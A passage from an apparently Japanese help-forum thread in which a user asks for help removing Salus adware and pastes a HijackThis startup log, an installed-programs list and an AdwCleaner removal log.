D:\Program Files (x86)\MagicDisc\MagicDisc.exe
D:\Program Files (x86)\Creative\Sound Blaster EVO\Sound Blaster EVO Control Panel\SBEVO.exe
D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\CTJckCfg.exe
C:\Program Files (x86)\XFastUSB\XFastUsb.exe
C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe
D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\PowerDVD14Agent.exe
C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallMonitor.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Windows\SysWOW64\NOTEPAD.EXE
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Users\Tomohiko\Downloads\HijackThis.exe
C:\Windows\SysWOW64\DllHost.exe

F2 - REG:system.ini: UserInit=userinit.exe
O2 - BHO: Groove GFS Browser Helper - {72853161-30C5-4D22-B7F9-0BBC1D38A37E} - D:\PROGRA~1\MICROS~1\Office14\GROOVEEX.DLL
O2 - BHO: Microsoft アカウント サインイン ヘルパー - {9030D464-4C02-4ABF-8ECC-5164760863C6} - C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll
O2 - BHO: URLRedirectionBHO - {B4F3A835-0E21-4959-BA22-42B3008E02FF} - D:\PROGRA~1\MICROS~1\Office14\URLREDIR.DLL
O4 - HKLM\..\Run: [UpdReg] C:\Windows\UpdReg.EXE
O4 - HKLM\..\Run: [Sound Blaster Recon3Di Control Panel] "D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\SBRcni.exe" /r
O4 - HKLM\..\Run: [SwitchBoard] C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe
O4 - HKLM\..\Run: [AdobeCS6ServiceManager] "C:\Program Files (x86)\Common Files\Adobe\CS6ServiceManager\CS6ServiceManager.exe" -launchedbylogin
O4 - HKLM\..\Run: [UpdateP2GoShortCut] "D:\Program Files (x86)\CyberLink\Power2Go\MUITransfer\MUIStartMenu.exe" "D:\Program Files (x86)\CyberLink\Power2Go" UpdateWithCreateOnce "SOFTWARE\CyberLink\Power2Go\6.0"
O4 - HKLM\..\Run: [UpdatePPShortCut] "D:\Program Files (x86)\CyberLink\PowerProducer\MUITransfer\MUIStartMenu.exe" "D:\Program Files (x86)\CyberLink\PowerProducer" UpdateWithCreateOnce "Software\CyberLink\PowerProducer\5.0"
O4 - HKLM\..\Run: [DivXMediaServer] C:\Program Files (x86)\DivX\DivX Media Server\DivXMediaServer.exe
O4 - HKLM\..\Run: [CLMLServer_For_P2G8] "D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMLSvc_P2G8.exe"
O4 - HKLM\..\Run: [CLVirtualDrive] "D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\VirtualDrive.exe" /R
O4 - HKLM\..\Run: [Sound Blaster EVO Control Panel] "D:\Program Files (x86)\Creative\Sound Blaster EVO\Sound Blaster EVO Control Panel\SBEVO.exe" /r
O4 - HKLM\..\Run: [APSDaemon] "C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe"
O4 - HKLM\..\Run: [XFastUSB] "C:\Program Files (x86)\XFastUSB\XFastUsb.exe"
O4 - HKLM\..\Run: [QuickTime Task] "D:\Program Files (x86)\QuickTime\QTTask.exe" -atboottime
O4 - HKLM\..\Run: [DivXUpdate] "C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe" /CHECKNOW
O4 - HKLM\..\Run: [NTTE_OSA_AUS] "C:\Program Files (x86)\NTTE\OSA_Aus\acs.exe" -silent
O4 - HKLM\..\Run: [PowerDVD14Agent] "D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\PowerDVD14Agent.exe"
O4 - HKCU\..\Run: [Power2GoExpress8] NA
O4 - HKCU\..\Run: [CCleaner Monitoring] "C:\Program Files\CCleaner\CCleaner64.exe" /MONITOR
O4 - HKUS\S-1-5-19\..\Run: [Sidebar] %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun (User 'LOCAL SERVICE')
O4 - HKUS\S-1-5-19\..\RunOnce: [mctadmin] C:\Windows\System32\mctadmin.exe (User 'LOCAL SERVICE')
O4 - HKUS\S-1-5-20\..\Run: [Sidebar] %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun (User 'NETWORK SERVICE')
O4 - HKUS\S-1-5-20\..\RunOnce: [mctadmin] C:\Windows\System32\mctadmin.exe (User 'NETWORK SERVICE')
O4 - Startup: MagicDisc.lnk = D:\Program Files (x86)\MagicDisc\MagicDisc.exe
O4 - Global Startup: スタートアップツール.lnk = ?
O9 - Extra button: 故障かな?と思ったら・・・ - {6CB1FA39-5745-4733-859F-E9C82A68F848} - C:\Program Files (x86)\NTTE\OSA_SupportTool\start_e.exe
O10 - Unknown file in Winsock LSP: c:\program files (x86)\common files\microsoft shared\windows live\wlidnsp.dll
O10 - Unknown file in Winsock LSP: c:\program files (x86)\common files\microsoft shared\windows live\wlidnsp.dll
O11 - Options group: [ACCELERATED_GRAPHICS] Accelerated graphics
O15 - ESC Trusted Zone: http://*.update.microsoft.com
O16 - DPF: {53F4962A-8E27-4601-8B01-79A82B4D7FC9} (LoadPrg Class) - https://member.gungho.jp/front/ec/iframe/LoadPrgAx.CAB
O16 - DPF: {D4B68B83-8710-488B-A692-D74B50BA558E} (Creative Software AutoUpdate Support Package 2) - http://ccfiles.creative.com/Web/softwareupdate/ocx/15113/CTPIDPDE.cab
O16 - DPF: {F6ACF75C-C32C-447B-9BEF-46B766368D29} (Creative Software AutoUpdate Support Package) - http://ccfiles.creative.com/Web/softwareupdate/ocx/130321/CTPID.cab
O18 - Protocol: skype4com - {FFC8B962-9B40-4DFF-9458-1830C7DD7F5D} - C:\PROGRA~2\COMMON~1\Skype\SKYPE4~1.DLL
O18 - Filter hijack: text/xml - {807573E5-5146-11D5-A672-00B0D022E945} - C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE14\MSOXMLMF.DLL
O23 - Service: @%SystemRoot%\system32\Alg.exe,-112 (ALG) - Unknown owner - C:\Windows\System32\alg.exe (file missing)
O23 - Service: Apple Mobile Device Service - Apple Inc. - C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
O23 - Service: Bonjour サービス (Bonjour Service) - Apple Inc. - C:\Program Files\Bonjour\mDNSResponder.exe
O23 - Service: Bluetoothスイッチャーサービス (BtSwitcherService) - Cambridge Silicon Radio Limited - D:\Program Files\CSR\CSR Harmony Wireless Software Stack\BtSwitcherService.exe
O23 - Service: cFosSpeed System Service (cFosSpeedS) - cFos Software GmbH - D:\Program Files\ASRock\XFast LAN\spd.exe
O23 - Service: Creative ALchemy AL6 Licensing Service - Creative Labs - C:\Program Files (x86)\Common Files\Creative Labs Shared\Service\AL6Licensing.exe
O23 - Service: Creative Audio Engine Licensing Service - Creative Labs - C:\Program Files (x86)\Common Files\Creative Labs Shared\Service\CTAELicensing.exe
O23 - Service: CSR Bluetoothオーディオサービス (CSRBtAudioService) - Cambridge Silicon Radio Limited - D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtAudioService.exe
O23 - Service: CSR OBEX Service (CsrBtOBEXService) - Cambridge Silicon Radio Limited - D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtOBEXService.exe
O23 - Service: CSR Bluetooth サービス (CsrBtService) - Cambridge Silicon Radio Limited - D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtService.exe
O23 - Service: Creative Audio Service (CTAudSvcService) - Creative Technology Ltd - C:\Program Files (x86)\Creative\Shared Files\CTAudSvc.exe
O23 - Service: SB Recon3D Service (CtHdaSvc) - Creative Technology Ltd - C:\Windows\sysWow64\CtHdaSvc.exe
O23 - Service: @%SystemRoot%\system32\efssvc.dll,-100 (EFS) - Unknown owner - C:\Windows\System32\lsass.exe (file missing)
O23 - Service: @%systemroot%\system32\fxsresm.dll,-118 (Fax) - Unknown owner - C:\Windows\system32\fxssvc.exe (file missing)
O23 - Service: Futuremark SystemInfo Service - Futuremark Corporation - C:\Program Files (x86)\Futuremark\Futuremark SystemInfo\FMSISvc.exe
O23 - Service: Google Update サービス (gupdate) (gupdate) - Google Inc. - C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
O23 - Service: Google Update サービス (gupdatem) (gupdatem) - Google Inc. - C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
O23 - Service: Router Centered (hypixyje) - Unknown owner - C:\Users\Tomohiko\AppData\Roaming\03000200-1426280320-0500-0006-000700080009\nss201B.tmp (file missing)
O23 - Service: @%SystemRoot%\system32\ieetwcollectorres.dll,-1000 (IEEtwCollectorService) - Unknown owner - C:\Windows\system32\IEEtwCollector.exe (file missing)
O23 - Service: iPod サービス (iPod Service) - Apple Inc. - C:\Program Files\iPod\bin\iPodService.exe
O23 - Service: @keyiso.dll,-100 (KeyIso) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: Logitech Bluetooth Service (LBTServ) - Logitech, Inc. - C:\Program Files\Common Files\LogiShrd\Bluetooth\lbtserv.exe
O23 - Service: LiveUpdate (LiveUpdateSvc) - IObit - C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
O23 - Service: @comres.dll,-2797 (MSDTC) - Unknown owner - C:\Windows\System32\msdtc.exe (file missing)
O23 - Service: @%SystemRoot%\System32\netlogon.dll,-102 (Netlogon) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: nProtect GameGuard Service (npggsvc) - Unknown owner - C:\Windows\system32\GameMon.des.exe (file missing)
O23 - Service: NVIDIA Display Driver Service (nvsvc) - Unknown owner - C:\Windows\system32\nvvsvc.exe (file missing)
O23 - Service: NVIDIA WMI Provider (NVWMI) - Unknown owner - C:\Windows\system32\nvwmi64.exe (file missing)
O23 - Service: @%systemroot%\system32\psbase.dll,-300 (ProtectedStorage) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: Cyberlink RichVideo Service(CRVS) (RichVideo) - Unknown owner - C:\Program Files (x86)\CyberLink\Shared files\RichVideo.exe
O23 - Service: @%systemroot%\system32\Locator.exe,-2 (RpcLocator) - Unknown owner - C:\Windows\system32\locator.exe (file missing)
O23 - Service: @%SystemRoot%\system32\samsrv.dll,-1 (SamSs) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: @%SystemRoot%\system32\snmptrap.exe,-3 (SNMPTRAP) - Unknown owner - C:\Windows\System32\snmptrap.exe (file missing)
O23 - Service: @%systemroot%\system32\spoolsv.exe,-1 (Spooler) - Unknown owner - C:\Windows\System32\spoolsv.exe (file missing)
O23 - Service: @%SystemRoot%\system32\sppsvc.exe,-101 (sppsvc) - Unknown owner - C:\Windows\system32\sppsvc.exe (file missing)
O23 - Service: NVIDIA Stereoscopic 3D Driver Service (Stereo Service) - NVIDIA Corporation - C:\Program Files (x86)\NVIDIA Corporation\3D Vision\nvSCPAPISvr.exe
O23 - Service: SwitchBoard - Adobe Systems Incorporated - C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe
O23 - Service: @%SystemRoot%\system32\ui0detect.exe,-101 (UI0Detect) - Unknown owner - C:\Windows\system32\UI0Detect.exe (file missing)
O23 - Service: @%SystemRoot%\system32\vaultsvc.dll,-1003 (VaultSvc) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: @%SystemRoot%\system32\vds.exe,-100 (vds) - Unknown owner - C:\Windows\System32\vds.exe (file missing)
O23 - Service: @%systemroot%\system32\vssvc.exe,-102 (VSS) - Unknown owner - C:\Windows\system32\vssvc.exe (file missing)
O23 - Service: Memory Key Series (vutyweki) - Unknown owner - C:\Users\Tomohiko\AppData\Roaming\03000200-1426280320-0500-0006-000700080009\jnsq740B.tmp (file missing)
O23 - Service: @%systemroot%\system32\wbengine.exe,-104 (wbengine) - Unknown owner - C:\Windows\system32\wbengine.exe (file missing)
O23 - Service: @%Systemroot%\system32\wbem\wmiapsrv.exe,-110 (wmiApSrv) - Unknown owner - C:\Windows\system32\wbem\WmiApSrv.exe (file missing)
O23 - Service: @%PROGRAMFILES%\Windows Media Player\wmpnetwk.exe,-101 (WMPNetworkSvc) - Unknown owner - C:\Program Files (x86)\Windows Media Player\wmpnetwk.exe (file missing)

--
End of file - 12142 bytes
  • mari
  • 2015/03/22 (Sun) 23:50:41
Re: salusの駆除をお助けください
3DMark Futuremark 2013/05/25 1.1
3DMark 11 Futuremark Corporation 2013/03/23 1.0.4
3DMark Vantage Futuremark Corporation 2013/03/23 1.1.0
Adobe AIR Adobe Systems Incorporated 2013/04/13 3.1.0.4880
Adobe Creative Suite 6 Production Premium Adobe Systems Incorporated 2013/04/14 3.57 GB 6
Adobe Help Manager Adobe Systems Incorporated 2013/04/13 4.0.244
Apple Application Support(32 ビット) Apple Inc. 2015/03/15 94.2 MB 3.1.2
Apple Application Support(64 ビット) Apple Inc. 2015/03/15 107 MB 3.1.2
Apple Mobile Device Support Apple Inc. 2015/03/15 27.9 MB 8.1.1.3
Apple Software Update Apple Inc. 2013/11/24 2.38 MB 2.1.3.127
ASRock 3TB+ Unlocker v1.1 ASRock Inc. 2014/05/02 1.23 MB
ASRock App Charger v1.0.6 ASRock Inc. 2014/05/02 1.32 MB 1.0.6
ASRock eXtreme Tuner v0.1.382.1 2014/05/02 45.9 MB
ASRock InstantBoot v1.29 2014/05/02
ASRock XFast RAM v2.0.28 ASRock Inc. 2014/05/02 11.9 MB
Bonjour Apple Inc. 2013/11/24 2.00 MB 3.0.0.10
Broadcom NetLink Controller Broadcom Corporation 2015/03/15 508 KB 14.8.5.1
CCleaner Piriform 2015/03/21 5.03
CPUID ROG CPU-Z 1.63 CPUID, Inc. 2013/03/22 6.69 MB 1.63
Creative システム インフォメーション Creative Technology Limited 2013/10/27 1.10
CSR Harmony Wireless Software Stack CSR Plc. 2014/05/24 163 MB 2.1.63.0
CyberLink Power2Go 8 CyberLink Corp. 2013/06/29 324 MB 8.0.0.2126b
CyberLink PowerDVD 14 CyberLink Corp. 2015/01/31 439 MB 14.0.4223.58
CyberLink WaveEditor 2 CyberLink Corp. 2013/06/29 35.0 MB 2.0.0.3206
DivXセットアップ DivX, LLC 2014/12/20 2.7.0.31
DVD Decrypter (Remove Only) 2013/05/19
FINAL FANTASY XIV - A Realm Reborn SQUARE ENIX CO., LTD. 2013/08/17 1.0.0000
Futuremark SystemInfo Futuremark Corporation 2013/05/25 4.17.0
Google Chrome Google Inc. 2015/03/21 41.0.2272.101
Intel(R) Management Engine Components Intel Corporation 2013/03/20 7.1.21.1134
IObit Uninstaller IObit 2015/02/18 4.2.6.2
iTunes Apple Inc. 2015/03/15 234 MB 12.1.1.4
MagicDisc 2.7.106 2013/04/14
Microsoft .NET Framework 4.5.2 Microsoft Corporation 2015/01/25 38.8 MB 4.5.51209
Microsoft .NET Framework 4.5.2 (日本語) Microsoft Corporation 2015/01/31 2.93 MB 4.5.51209
Microsoft Office Professional Plus 2010 Microsoft Corporation 2013/07/28 14.0.7015.1000
Microsoft Security Essentials Microsoft Corporation 2015/02/28 4.7.205.0
Microsoft Visual C++ 2005 Redistributable Microsoft Corporation 2013/03/20 300 KB 8.0.59193
Microsoft Visual C++ 2005 Redistributable (x64) Microsoft Corporation 2013/04/13 572 KB 8.0.61000
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.4148 Microsoft Corporation 2013/03/20 788 KB 9.0.30729.4148
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 Microsoft Corporation 2013/03/20 788 KB 9.0.30729.6161
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 Microsoft Corporation 2013/03/31 240 KB 9.0.30729
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 Microsoft Corporation 2013/03/20 596 KB 9.0.30729.4148
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 Microsoft Corporation 2013/03/20 600 KB 9.0.30729.6161
Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 Microsoft Corporation 2015/02/28 13.8 MB 10.0.40219
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 Microsoft Corporation 2015/02/28 15.0 MB 10.0.40219
Microsoft Visual Studio 2010 Tools for Office Runtime (x64) Microsoft Corporation 2015/02/28 10.0.50903
Microsoft Visual Studio 2010 Tools for Office Runtime (x64) Language Pack - 日本語 Microsoft Corporation 2015/02/28 10.0.50903
MSXML 4.0 SP2 (KB954430) Microsoft Corporation 2013/09/01 1.27 MB 4.20.9870.0
MSXML 4.0 SP2 (KB973688) Microsoft Corporation 2013/09/01 1.33 MB 4.20.9876.0
NVIDIA 3D Vision コントローラー ドライバー 332.21 NVIDIA Corporation 2014/10/12 332.21
NVIDIA 3D Vision ドライバー 333.11 NVIDIA Corporation 2014/10/12 333.11
NVIDIA HD オーディオ ドライバー 1.3.30.1 NVIDIA Corporation 2014/10/12 1.3.30.1
NVIDIA nView 141.13 NVIDIA Corporation 2014/10/12 141.13
NVIDIA WMI 2.16.0 NVIDIA Corporation 2014/10/12 2.16.0
NVIDIA グラフィックス ドライバー 333.11 NVIDIA Corporation 2014/10/12 333.11
QuickTime 7 Apple Inc. 2014/05/22 70.2 MB 7.75.80.95
Sound Blaster EVO Zx/ZxR Creative Technology Limited 2013/10/27 92.6 MB 1.01.01
Sound Blaster EVO Zx/ZxR Extras Creative Technology Limited 2013/10/27 1.0
Sound Blaster Recon3Di Creative Technology Limited 2013/03/23 67.9 MB 1.00.17
Sound Blaster Recon3Di Extras Creative Technology Limited 2013/10/27 1.0
SoundEngine Free Coderium 2013/06/18 5.1.0.5
TI USB 3.0 Host Controller Driver 会社名 2013/03/20 1.03 MB 1.12.9.0
Windows Live Essentials Microsoft Corporation 2014/02/26 16.4.3522.0110
WinRAR アーカイバ 2013/03/22
XFast LAN v9.05 cFos Software GmbH, Bonn 2014/05/02 9.05
XFastUSB ASRock Inc. 2014/05/02 3.02.38
スタートアップツール 東日本電信電話株式会社 2014/11/08 2.61 MB 7.3
リモートサポートツール 東日本電信電話株式会社 2014/11/08
ロジクール SetPoint 6.52 ロジクール 2013/03/20 39.0 MB 6.52.74
日本語 App Name Adobe Systems Incorporated 2013/05/29 1.8
診断復旧ツール 東日本電信電話株式会社 2014/11/08 23.2 MB
  • mari
  • 2015/03/22 (Sun) 23:51:45
Re: salusの駆除をお助けください
# AdwCleaner v4.112 - ログファイルの作成日 22/03/2015 作成時間 22:38:41
# 更新日 09/03/2015 作成元 Xplode
# データベース : 2015-03-05.1 [ローカル]
# オペレーティングシステム : Windows 7 Ultimate Service Pack 1 (x64)
# ユーザー名 : Tomohiko - TOMOHIKO-PC
# 実行場所 : C:\Users\Tomohiko\Downloads\AdwCleaner.exe
# オプション : 削除

***** [ サービス ] *****

[#] サービス 削除済み項目 : {4f8c067a-e55a-4229-81e6-7be1491578a2}w64

***** [ ファイル / フォルダ ] *****

フォルダ 削除済み項目 : C:\ProgramData\Babylon
フォルダ 削除済み項目 : C:\ProgramData\baidu
フォルダ 削除済み項目 : C:\ProgramData\DeviceVM
フォルダ 削除済み項目 : C:\ProgramData\Registry Helper
フォルダ 削除済み項目 : C:\ProgramData\SoftSafe
フォルダ 削除済み項目 : C:\ProgramData\Browusue2suave
フォルダ 削除済み項目 : C:\ProgramData\309f96ab00005426
フォルダ 削除済み項目 : C:\ProgramData\4f439bbd000027ea
フォルダ 削除済み項目 : C:\ProgramData\fbcb401900002476
フォルダ 削除済み項目 : C:\Program Files (x86)\baidu
フォルダ 削除済み項目 : C:\Program Files (x86)\globalUpdate
フォルダ 削除済み項目 : C:\Program Files (x86)\predm
フォルダ 削除済み項目 : C:\Program Files (x86)\YouTube Accelerator
フォルダ 削除済み項目 : C:\Program Files (x86)\Salus
フォルダ 削除済み項目 : C:\Program Files (x86)\savernet
フォルダ 削除済み項目 : C:\Program Files (x86)\GU Player
フォルダ 削除済み項目 : C:\Program Files (x86)\CouuopScanner
フォルダ 削除済み項目 : C:\Program Files (x86)\ProSShoppeR
フォルダ 削除済み項目 : C:\Program Files (x86)\savoingtoYoou
フォルダ 削除済み項目 : C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Systweak
フォルダ 削除済み項目 : C:\Users\Tomohiko\AppData\Local\globalUpdate
フォルダ 削除済み項目 : C:\Users\Tomohiko\AppData\LocalLow\baidu
フォルダ 削除済み項目 : C:\Users\Tomohiko\AppData\LocalLow\Delta
フォルダ 削除済み項目 : C:\Users\Tomohiko\AppData\Roaming\Babylon
フォルダ 削除済み項目 : C:\Users\Tomohiko\AppData\Roaming\baidu
フォルダ 削除済み項目 : C:\Users\Tomohiko\AppData\Roaming\DeviceVM
フォルダ 削除済み項目 : C:\Users\Tomohiko\AppData\Roaming\HoolappforAndroid
フォルダ 削除済み項目 : C:\Users\Tomohiko\AppData\Roaming\OpenCandy
フォルダ 削除済み項目 : C:\Users\Tomohiko\AppData\Roaming\SendSpace
フォルダ 削除済み項目 : C:\Users\Tomohiko\AppData\Roaming\Systweak
フォルダ 削除済み項目 : C:\Users\Tomohiko\Documents\Optimizer Pro
フォルダ 削除済み項目 : C:\Users\Tomohiko\Documents\PC Speed Maximizer
ファイル 削除済み項目 : C:\Windows\patsearch.bin
ファイル 削除済み項目 : C:\Windows\SysWOW64\RegistryHelperLM.ocx
ファイル 削除済み項目 : C:\Windows\System32\roboot64.exe
ファイル 削除済み項目 : C:\Windows\System32\drivers\Msft_Kernel_webinstrNHKT_01009.Wdf
ファイル 削除済み項目 : C:\Windows\System32\drivers\{4f8c067a-e55a-4229-81e6-7be1491578a2}w64.sys
ファイル 削除済み項目 : C:\Users\Tomohiko\AppData\Roaming\Mozilla\Firefox\Profiles\s0lzp1yr.default\user.js
ファイル 削除済み項目 : C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Local Storage\hxxp_www.superfish.com_0.localstorage
ファイル 削除済み項目 : C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Local Storage\hxxp_www.superfish.com_0.localstorage-journal
ファイル 削除済み項目 : C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Local Storage\hxxp_www.trovi.com_0.localstorage
ファイル 削除済み項目 : C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Local Storage\hxxp_www.trovi.com_0.localstorage-journal
ファイル 削除済み項目 : C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Local Storage\hxxps_inst.shoppingate.info_0.localstorage
ファイル 削除済み項目 : C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Local Storage\hxxps_inst.shoppingate.info_0.localstorage-journal
ファイル 削除済み項目 : C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Local Storage\hxxps_www.superfish.com_0.localstorage
ファイル 削除済み項目 : C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Local Storage\hxxps_www.superfish.com_0.localstorage-journal
ファイル 削除済み項目 : C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Local Storage\hxxps_static.olark.com_0.localstorage-journal
ファイル 削除済み項目 : C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Local Storage\hxxps_static.olark.com_0.localstorage

***** [ スケジュールタスク ] *****


***** [ ショートカット ] *****


***** [ レジストリ ] *****

キー 削除済み項目 : HKLM\SOFTWARE\Google\Chrome\Extensions\jbolfgndggfhhpbnkgnpjkfhinclbigj
キー 削除済み項目 : HKLM\SOFTWARE\Classes\AppID\{C26644C4-2A12-4CA6-8F2E-0EDE6CF018F3}
キー 削除済み項目 : HKLM\SOFTWARE\Classes\Prod.cap
キー 削除済み項目 : HKCU\Software\5d4de8fb53fe540
キー 削除済み項目 : HKLM\SOFTWARE\5d4de8fb53fe540
キー 削除済み項目 : HKLM\SOFTWARE\Classes\CLSID\{00B11DA2-75ED-4364-ABA5-9A95B1F5E946}
キー 削除済み項目 : HKLM\SOFTWARE\Classes\CLSID\{1AA60054-57D9-4F99-9A55-D0FBFBE7ECD3}
キー 削除済み項目 : HKLM\SOFTWARE\Classes\CLSID\{5A4E3A41-FA55-4BDA-AED7-CEBE6E7BCB52}
キー 削除済み項目 : HKLM\SOFTWARE\Classes\CLSID\{459DD0F7-0D55-D3DC-67BC-E6BE37E9D762}
キー 削除済み項目 : HKLM\SOFTWARE\Classes\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}
キー 削除済み項目 : HKLM\SOFTWARE\Classes\Interface\{31E3BC75-2A09-4CFF-9C92-8D0ED8D1DC0F}
キー 削除済み項目 : HKLM\SOFTWARE\Classes\Interface\{4E6354DE-9115-4AEE-BD21-C46C3E8A49DB}
キー 削除済み項目 : HKLM\SOFTWARE\Classes\Interface\{C66F0B7A-BD67-4982-AF71-C6CA6E7F016F}
キー 削除済み項目 : HKLM\SOFTWARE\Classes\Interface\{FC073BDA-C115-4A1D-9DF9-9B5C461482E5}
キー 削除済み項目 : HKLM\SOFTWARE\Classes\TypeLib\{A2D733A7-73B0-4C6B-B0C7-06A432950B66}
キー 削除済み項目 : HKLM\SOFTWARE\Classes\TypeLib\{E2343056-CC08-46AC-B898-BFC7ACF4E755}
キー 削除済み項目 : HKLM\SOFTWARE\Classes\TypeLib\{DD1CFE82-CC89-497D-9573-B8B1867DDA09}
キー 削除済み項目 : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}
キー 削除済み項目 : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}
キー 削除済み項目 : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}
キー 削除済み項目 : [x64] HKLM\SOFTWARE\Classes\CLSID\{5A4E3A41-FA55-4BDA-AED7-CEBE6E7BCB52}
キー 削除済み項目 : [x64] HKLM\SOFTWARE\Classes\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}
キー 削除済み項目 : [x64] HKLM\SOFTWARE\Classes\Interface\{31E3BC75-2A09-4CFF-9C92-8D0ED8D1DC0F}
キー 削除済み項目 : [x64] HKLM\SOFTWARE\Classes\Interface\{4E6354DE-9115-4AEE-BD21-C46C3E8A49DB}
キー 削除済み項目 : [x64] HKLM\SOFTWARE\Classes\Interface\{C66F0B7A-BD67-4982-AF71-C6CA6E7F016F}
キー 削除済み項目 : [x64] HKLM\SOFTWARE\Classes\Interface\{FC073BDA-C115-4A1D-9DF9-9B5C461482E5}
キー 削除済み項目 : [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}
キー 削除済み項目 : [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}
キー 削除済み項目 : [x64] HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{014DB5FA-EAFB-4592-A95B-F44D3EE87FA9}
キー 削除済み項目 : [x64] HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0ECDF796-C2DC-4D79-A620-CCE0C0A66CC9}
キー 削除済み項目 : [x64] HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{BB74DE59-BC4C-4172-9AC4-73315F71CFFE}
キー 削除済み項目 : HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E627DC4B-8C04-4234-A2D4-1D634EE01C41}
キー 削除済み項目 : HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{BB74DE59-BC4C-4172-9AC4-73315F71CFFE}
キー 削除済み項目 : HKCU\Software\BabylonToolbar
キー 削除済み項目 : HKCU\Software\DataMngr
[#] キー 削除済み項目 : HKCU\Software\DataMngr_Toolbar
キー 削除済み項目 : HKCU\Software\GlobalUpdate
キー 削除済み項目 : HKCU\Software\Goobzo
キー 削除済み項目 : HKCU\Software\InstallCore
キー 削除済み項目 : HKCU\Software\Optimizer Pro
キー 削除済み項目 : HKCU\Software\Softonic
キー 削除済み項目 : HKCU\Software\systweak
キー 削除済み項目 : HKCU\Software\TutoTag
キー 削除済み項目 : HKCU\Software\UpdateStar
キー 削除済み項目 : HKCU\Software\Baidu
キー 削除済み項目 : HKCU\Software\GoHD-nv-ie
キー 削除済み項目 : HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}
キー 削除済み項目 : HKCU\Software\AppDataLow\SProtector
キー 削除済み項目 : HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}
キー 削除済み項目 : HKCU\Software\AppDataLow\Software\BlockAndSurf
キー 削除済み項目 : HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}
キー 削除済み項目 : HKLM\SOFTWARE\{3A7D3E19-1B79-4E4E-BD96-5467DA2C4EF0}
